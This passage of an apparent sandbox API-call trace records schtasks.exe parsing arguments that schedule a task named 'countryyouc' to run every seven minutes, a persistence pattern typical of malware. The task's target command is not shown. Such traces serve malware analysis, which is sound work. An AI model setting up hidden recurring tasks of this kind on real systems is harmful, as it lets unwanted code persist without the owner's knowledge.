lstrlenW (lpString="|tn|") returned 4 [0072.242] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0072.242] SetLastError (dwErrCode=0x490) [0072.242] lstrlenW (lpString="run") returned 3 [0072.242] lstrlenW (lpString="run") returned 3 [0072.242] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.242] lstrlenW (lpString="tn") returned 2 [0072.242] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.242] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|run|") returned 5 [0072.242] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tn|") returned 4 [0072.242] lstrlenW (lpString="|run|") returned 5 [0072.242] lstrlenW (lpString="|tn|") returned 4 [0072.242] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0072.242] SetLastError (dwErrCode=0x490) [0072.242] lstrlenW (lpString="end") returned 3 [0072.242] lstrlenW (lpString="end") returned 3 [0072.242] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.242] lstrlenW (lpString="tn") returned 2 [0072.242] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.242] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|end|") returned 5 [0072.242] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tn|") returned 4 [0072.242] lstrlenW (lpString="|end|") returned 5 [0072.242] lstrlenW (lpString="|tn|") returned 4 [0072.242] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0072.243] SetLastError (dwErrCode=0x490) [0072.243] lstrlenW (lpString="showsid") returned 7 [0072.243] lstrlenW (lpString="showsid") returned 7 [0072.243] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.243] GetProcessHeap () returned 0x60000 [0072.243] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3c0) returned 1 [0072.243] GetProcessHeap () returned 0x60000 [0072.243] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7c3c0, Size=0x16) returned 0x7c3c0 [0072.243] lstrlenW (lpString="tn") returned 2 [0072.243] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.243] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|showsid|") returned 9 [0072.243] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tn|") returned 4 [0072.243] lstrlenW (lpString="|showsid|") returned 9 [0072.243] lstrlenW (lpString="|tn|") returned 4 [0072.243] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0072.243] SetLastError (dwErrCode=0x490) [0072.243] SetLastError (dwErrCode=0x490) [0072.243] SetLastError (dwErrCode=0x0) [0072.243] lstrlenW (lpString="/tn") returned 3 [0072.243] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0072.243] SetLastError (dwErrCode=0x490) [0072.243] SetLastError (dwErrCode=0x0) [0072.243] lstrlenW (lpString="/tn") returned 3 [0072.244] GetProcessHeap () returned 0x60000 [0072.244] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7c360 [0072.244] GetProcessHeap () returned 0x60000 [0072.244] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd90 [0072.244] SetLastError (dwErrCode=0x0) [0072.244] SetLastError (dwErrCode=0x0) [0072.244] lstrlenW (lpString="countryyouc") returned 11 [0072.244] lstrlenW (lpString="-/") returned 2 [0072.244] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0072.244] SetLastError (dwErrCode=0x490) [0072.244] SetLastError (dwErrCode=0x490) [0072.244] SetLastError (dwErrCode=0x0) [0072.244] lstrlenW (lpString="countryyouc") returned 11 [0072.244] StrChrIW (lpStart="countryyouc", wMatch=0x3a) returned 0x0 [0072.244] SetLastError (dwErrCode=0x490) [0072.244] SetLastError (dwErrCode=0x0) [0072.244] lstrlenW (lpString="countryyouc") returned 11 [0072.244] GetProcessHeap () returned 0x60000 [0072.244] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c3f0 [0072.244] GetProcessHeap () returned 0x60000 [0072.244] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cdc0 [0072.244] SetLastError (dwErrCode=0x0) [0072.244] SetLastError (dwErrCode=0x0) [0072.244] lstrlenW (lpString="/sc") returned 3 [0072.244] lstrlenW (lpString="-/") returned 2 [0072.244] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.244] lstrlenW (lpString="?") returned 1 [0072.245] lstrlenW (lpString="?") returned 1 [0072.245] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.245] lstrlenW (lpString="sc") returned 2 [0072.245] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.245] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|?|") returned 3 [0072.245] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|sc|") returned 4 [0072.245] lstrlenW (lpString="|?|") returned 3 [0072.245] lstrlenW (lpString="|sc|") returned 4 [0072.245] SetLastError (dwErrCode=0x490) [0072.245] lstrlenW (lpString="create") returned 6 [0072.245] lstrlenW (lpString="create") returned 6 [0072.245] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.245] lstrlenW (lpString="sc") returned 2 [0072.245] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.245] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|create|") returned 8 [0072.245] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|sc|") returned 4 [0072.245] lstrlenW (lpString="|create|") returned 8 [0072.245] lstrlenW (lpString="|sc|") returned 4 [0072.245] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0072.245] SetLastError (dwErrCode=0x490) [0072.245] lstrlenW (lpString="delete") returned 6 [0072.245] lstrlenW (lpString="delete") returned 6 [0072.245] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.246] lstrlenW (lpString="sc") returned 2 [0072.246] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.246] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|delete|") returned 8 [0072.246] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|sc|") returned 4 [0072.246] lstrlenW (lpString="|delete|") returned 8 [0072.246] lstrlenW (lpString="|sc|") returned 4 [0072.246] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0072.246] SetLastError (dwErrCode=0x490) [0072.246] lstrlenW (lpString="query") returned 5 [0072.246] lstrlenW (lpString="query") returned 5 [0072.246] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.246] lstrlenW (lpString="sc") returned 2 [0072.246] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.246] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|query|") returned 7 [0072.246] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|sc|") returned 4 [0072.246] lstrlenW (lpString="|query|") returned 7 [0072.246] lstrlenW (lpString="|sc|") returned 4 [0072.246] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0072.246] SetLastError (dwErrCode=0x490) [0072.246] lstrlenW (lpString="change") returned 6 [0072.246] lstrlenW (lpString="change") returned 6 [0072.246] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.246] lstrlenW (lpString="sc") returned 2 [0072.247] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.247] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|change|") returned 8 [0072.247] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|sc|") returned 4 [0072.247] lstrlenW (lpString="|change|") returned 8 [0072.247] lstrlenW (lpString="|sc|") returned 4 [0072.247] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0072.247] SetLastError (dwErrCode=0x490) [0072.247] lstrlenW (lpString="run") returned 3 [0072.247] lstrlenW (lpString="run") returned 3 [0072.247] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.247] lstrlenW (lpString="sc") returned 2 [0072.247] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.247] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|run|") returned 5 [0072.247] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|sc|") returned 4 [0072.247] lstrlenW (lpString="|run|") returned 5 [0072.247] lstrlenW (lpString="|sc|") returned 4 [0072.247] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0072.247] SetLastError (dwErrCode=0x490) [0072.247] lstrlenW (lpString="end") returned 3 [0072.247] lstrlenW (lpString="end") returned 3 [0072.247] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.247] lstrlenW (lpString="sc") returned 2 [0072.247] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.248] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|end|") returned 5 [0072.248] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|sc|") returned 4 [0072.248] lstrlenW (lpString="|end|") returned 5 [0072.248] lstrlenW (lpString="|sc|") returned 4 [0072.248] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0072.248] SetLastError (dwErrCode=0x490) [0072.248] lstrlenW (lpString="showsid") returned 7 [0072.248] lstrlenW (lpString="showsid") returned 7 [0072.248] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.248] lstrlenW (lpString="sc") returned 2 [0072.248] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.248] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|showsid|") returned 9 [0072.248] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|sc|") returned 4 [0072.248] lstrlenW (lpString="|showsid|") returned 9 [0072.248] lstrlenW (lpString="|sc|") returned 4 [0072.248] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0072.248] SetLastError (dwErrCode=0x490) [0072.248] SetLastError (dwErrCode=0x490) [0072.248] SetLastError (dwErrCode=0x0) [0072.248] lstrlenW (lpString="/sc") returned 3 [0072.248] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0072.248] SetLastError (dwErrCode=0x490) [0072.248] SetLastError (dwErrCode=0x0) [0072.248] lstrlenW (lpString="/sc") returned 3 [0072.248] GetProcessHeap () returned 0x60000 [0072.248] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7c410 [0072.249] GetProcessHeap () returned 0x60000 [0072.249] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cdf0 [0072.249] SetLastError (dwErrCode=0x0) [0072.249] SetLastError (dwErrCode=0x0) [0072.249] lstrlenW (lpString="MINUTE") returned 6 [0072.249] lstrlenW (lpString="-/") returned 2 [0072.249] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0072.249] SetLastError (dwErrCode=0x490) [0072.249] SetLastError (dwErrCode=0x490) [0072.249] SetLastError (dwErrCode=0x0) [0072.249] lstrlenW (lpString="MINUTE") returned 6 [0072.249] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0072.249] SetLastError (dwErrCode=0x490) [0072.249] SetLastError (dwErrCode=0x0) [0072.249] lstrlenW (lpString="MINUTE") returned 6 [0072.249] GetProcessHeap () returned 0x60000 [0072.249] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7c430 [0072.249] GetProcessHeap () returned 0x60000 [0072.249] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce20 [0072.249] SetLastError (dwErrCode=0x0) [0072.249] SetLastError (dwErrCode=0x0) [0072.249] lstrlenW (lpString="/mo") returned 3 [0072.249] lstrlenW (lpString="-/") returned 2 [0072.249] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.249] lstrlenW (lpString="?") returned 1 [0072.249] lstrlenW (lpString="?") returned 1 [0072.249] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.250] lstrlenW (lpString="mo") returned 2 [0072.250] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.250] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|?|") returned 3 [0072.250] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|mo|") returned 4 [0072.250] lstrlenW (lpString="|?|") returned 3 [0072.250] lstrlenW (lpString="|mo|") returned 4 [0072.250] SetLastError (dwErrCode=0x490) [0072.250] lstrlenW (lpString="create") returned 6 [0072.250] lstrlenW (lpString="create") returned 6 [0072.250] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.250] lstrlenW (lpString="mo") returned 2 [0072.250] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.250] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|create|") returned 8 [0072.250] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|mo|") returned 4 [0072.250] lstrlenW (lpString="|create|") returned 8 [0072.250] lstrlenW (lpString="|mo|") returned 4 [0072.250] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0072.250] SetLastError (dwErrCode=0x490) [0072.250] lstrlenW (lpString="delete") returned 6 [0072.250] lstrlenW (lpString="delete") returned 6 [0072.250] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.250] lstrlenW (lpString="mo") returned 2 [0072.250] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.251] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|delete|") returned 8 [0072.251] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|mo|") returned 4 [0072.251] lstrlenW (lpString="|delete|") returned 8 [0072.251] lstrlenW (lpString="|mo|") returned 4 [0072.251] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0072.251] SetLastError (dwErrCode=0x490) [0072.251] lstrlenW (lpString="query") returned 5 [0072.251] lstrlenW (lpString="query") returned 5 [0072.251] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.251] lstrlenW (lpString="mo") returned 2 [0072.251] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.251] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|query|") returned 7 [0072.251] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|mo|") returned 4 [0072.251] lstrlenW (lpString="|query|") returned 7 [0072.251] lstrlenW (lpString="|mo|") returned 4 [0072.251] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0072.251] SetLastError (dwErrCode=0x490) [0072.251] lstrlenW (lpString="change") returned 6 [0072.252] lstrlenW (lpString="change") returned 6 [0072.252] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.252] lstrlenW (lpString="mo") returned 2 [0072.252] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.252] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|change|") returned 8 [0072.252] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|mo|") returned 4 [0072.252] lstrlenW (lpString="|change|") returned 8 [0072.252] lstrlenW (lpString="|mo|") returned 4 [0072.252] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0072.252] SetLastError (dwErrCode=0x490) [0072.252] lstrlenW (lpString="run") returned 3 [0072.252] lstrlenW (lpString="run") returned 3 [0072.252] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.252] lstrlenW (lpString="mo") returned 2 [0072.252] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.252] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|run|") returned 5 [0072.252] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|mo|") returned 4 [0072.252] lstrlenW (lpString="|run|") returned 5 [0072.252] lstrlenW (lpString="|mo|") returned 4 [0072.252] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0072.253] SetLastError (dwErrCode=0x490) [0072.253] lstrlenW (lpString="end") returned 3 [0072.253] lstrlenW (lpString="end") returned 3 [0072.253] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.253] lstrlenW (lpString="mo") returned 2 [0072.253] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.253] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|end|") returned 5 [0072.253] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|mo|") returned 4 [0072.253] lstrlenW (lpString="|end|") returned 5 [0072.253] lstrlenW (lpString="|mo|") returned 4 [0072.253] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0072.253] SetLastError (dwErrCode=0x490) [0072.253] lstrlenW (lpString="showsid") returned 7 [0072.253] lstrlenW (lpString="showsid") returned 7 [0072.253] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.253] lstrlenW (lpString="mo") returned 2 [0072.253] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.253] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|showsid|") returned 9 [0072.253] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|mo|") returned 4 [0072.253] lstrlenW (lpString="|showsid|") returned 9 [0072.253] lstrlenW (lpString="|mo|") returned 4 [0072.253] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0072.253] SetLastError (dwErrCode=0x490) [0072.253] SetLastError (dwErrCode=0x490) [0072.254] SetLastError (dwErrCode=0x0) [0072.254] lstrlenW (lpString="/mo") returned 3 [0072.254] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0072.254] SetLastError (dwErrCode=0x490) [0072.254] SetLastError (dwErrCode=0x0) [0072.254] lstrlenW (lpString="/mo") returned 3 [0072.254] GetProcessHeap () returned 0x60000 [0072.254] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7c450 [0072.254] GetProcessHeap () returned 0x60000 [0072.254] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce50 [0072.254] SetLastError (dwErrCode=0x0) [0072.254] SetLastError (dwErrCode=0x0) [0072.254] lstrlenW (lpString="7") returned 1 [0072.254] SetLastError (dwErrCode=0x490) [0072.254] SetLastError (dwErrCode=0x0) [0072.254] lstrlenW (lpString="7") returned 1 [0072.254] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0072.254] SetLastError (dwErrCode=0x490) [0072.254] SetLastError (dwErrCode=0x0) [0072.254] lstrlenW (lpString="7") returned 1 [0072.254] GetProcessHeap () returned 0x60000 [0072.254] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x4) returned 0x7c470 [0072.254] GetProcessHeap () returned 0x60000 [0072.254] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce80 [0072.254] SetLastError (dwErrCode=0x0) [0072.254] SetLastError (dwErrCode=0x0) [0072.254] lstrlenW (lpString="/tr") returned 3 [0072.254] lstrlenW (lpString="-/") returned 2 [0072.255] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.255] lstrlenW (lpString="?") returned 1 [0072.255] lstrlenW (lpString="?") returned 1 [0072.255] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.255] lstrlenW (lpString="tr") returned 2 [0072.255] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.255] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|?|") returned 3 [0072.255] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tr|") returned 4 [0072.255] lstrlenW (lpString="|?|") returned 3 [0072.255] lstrlenW (lpString="|tr|") returned 4 [0072.255] SetLastError (dwErrCode=0x490) [0072.255] lstrlenW (lpString="create") returned 6 [0072.255] lstrlenW (lpString="create") returned 6 [0072.255] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.255] lstrlenW (lpString="tr") returned 2 [0072.255] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.255] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|create|") returned 8 [0072.255] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tr|") returned 4 [0072.255] lstrlenW (lpString="|create|") returned 8 [0072.255] lstrlenW (lpString="|tr|") returned 4 [0072.255] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0072.255] SetLastError (dwErrCode=0x490) [0072.255] lstrlenW (lpString="delete") returned 6 [0072.256] lstrlenW (lpString="delete") returned 6 [0072.256] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.256] lstrlenW (lpString="tr") returned 2 [0072.256] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.256] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|delete|") returned 8 [0072.256] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tr|") returned 4 [0072.256] lstrlenW (lpString="|delete|") returned 8 [0072.256] lstrlenW (lpString="|tr|") returned 4 [0072.256] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0072.256] SetLastError (dwErrCode=0x490) [0072.256] lstrlenW (lpString="query") returned 5 [0072.256] lstrlenW (lpString="query") returned 5 [0072.256] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.256] lstrlenW (lpString="tr") returned 2 [0072.256] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.256] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|query|") returned 7 [0072.256] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tr|") returned 4 [0072.256] lstrlenW (lpString="|query|") returned 7 [0072.256] lstrlenW (lpString="|tr|") returned 4 [0072.256] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0072.256] SetLastError (dwErrCode=0x490) [0072.256] lstrlenW (lpString="change") returned 6 [0072.256] lstrlenW (lpString="change") returned 6 [0072.256] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.257] lstrlenW (lpString="tr") returned 2 [0072.257] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.257] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|change|") returned 8 [0072.257] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tr|") returned 4 [0072.257] lstrlenW (lpString="|change|") returned 8 [0072.257] lstrlenW (lpString="|tr|") returned 4 [0072.257] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0072.257] SetLastError (dwErrCode=0x490) [0072.257] lstrlenW (lpString="run") returned 3 [0072.257] lstrlenW (lpString="run") returned 3 [0072.257] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.257] lstrlenW (lpString="tr") returned 2 [0072.257] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.257] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|run|") returned 5 [0072.257] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tr|") returned 4 [0072.257] lstrlenW (lpString="|run|") returned 5 [0072.257] lstrlenW (lpString="|tr|") returned 4 [0072.257] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0072.257] SetLastError (dwErrCode=0x490) [0072.257] lstrlenW (lpString="end") returned 3 [0072.257] lstrlenW (lpString="end") returned 3 [0072.257] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.257] lstrlenW (lpString="tr") returned 2 [0072.257] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.258] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|end|") returned 5 [0072.258] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tr|") returned 4 [0072.258] lstrlenW (lpString="|end|") returned 5 [0072.258] lstrlenW (lpString="|tr|") returned 4 [0072.258] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0072.258] SetLastError (dwErrCode=0x490) [0072.258] lstrlenW (lpString="showsid") returned 7 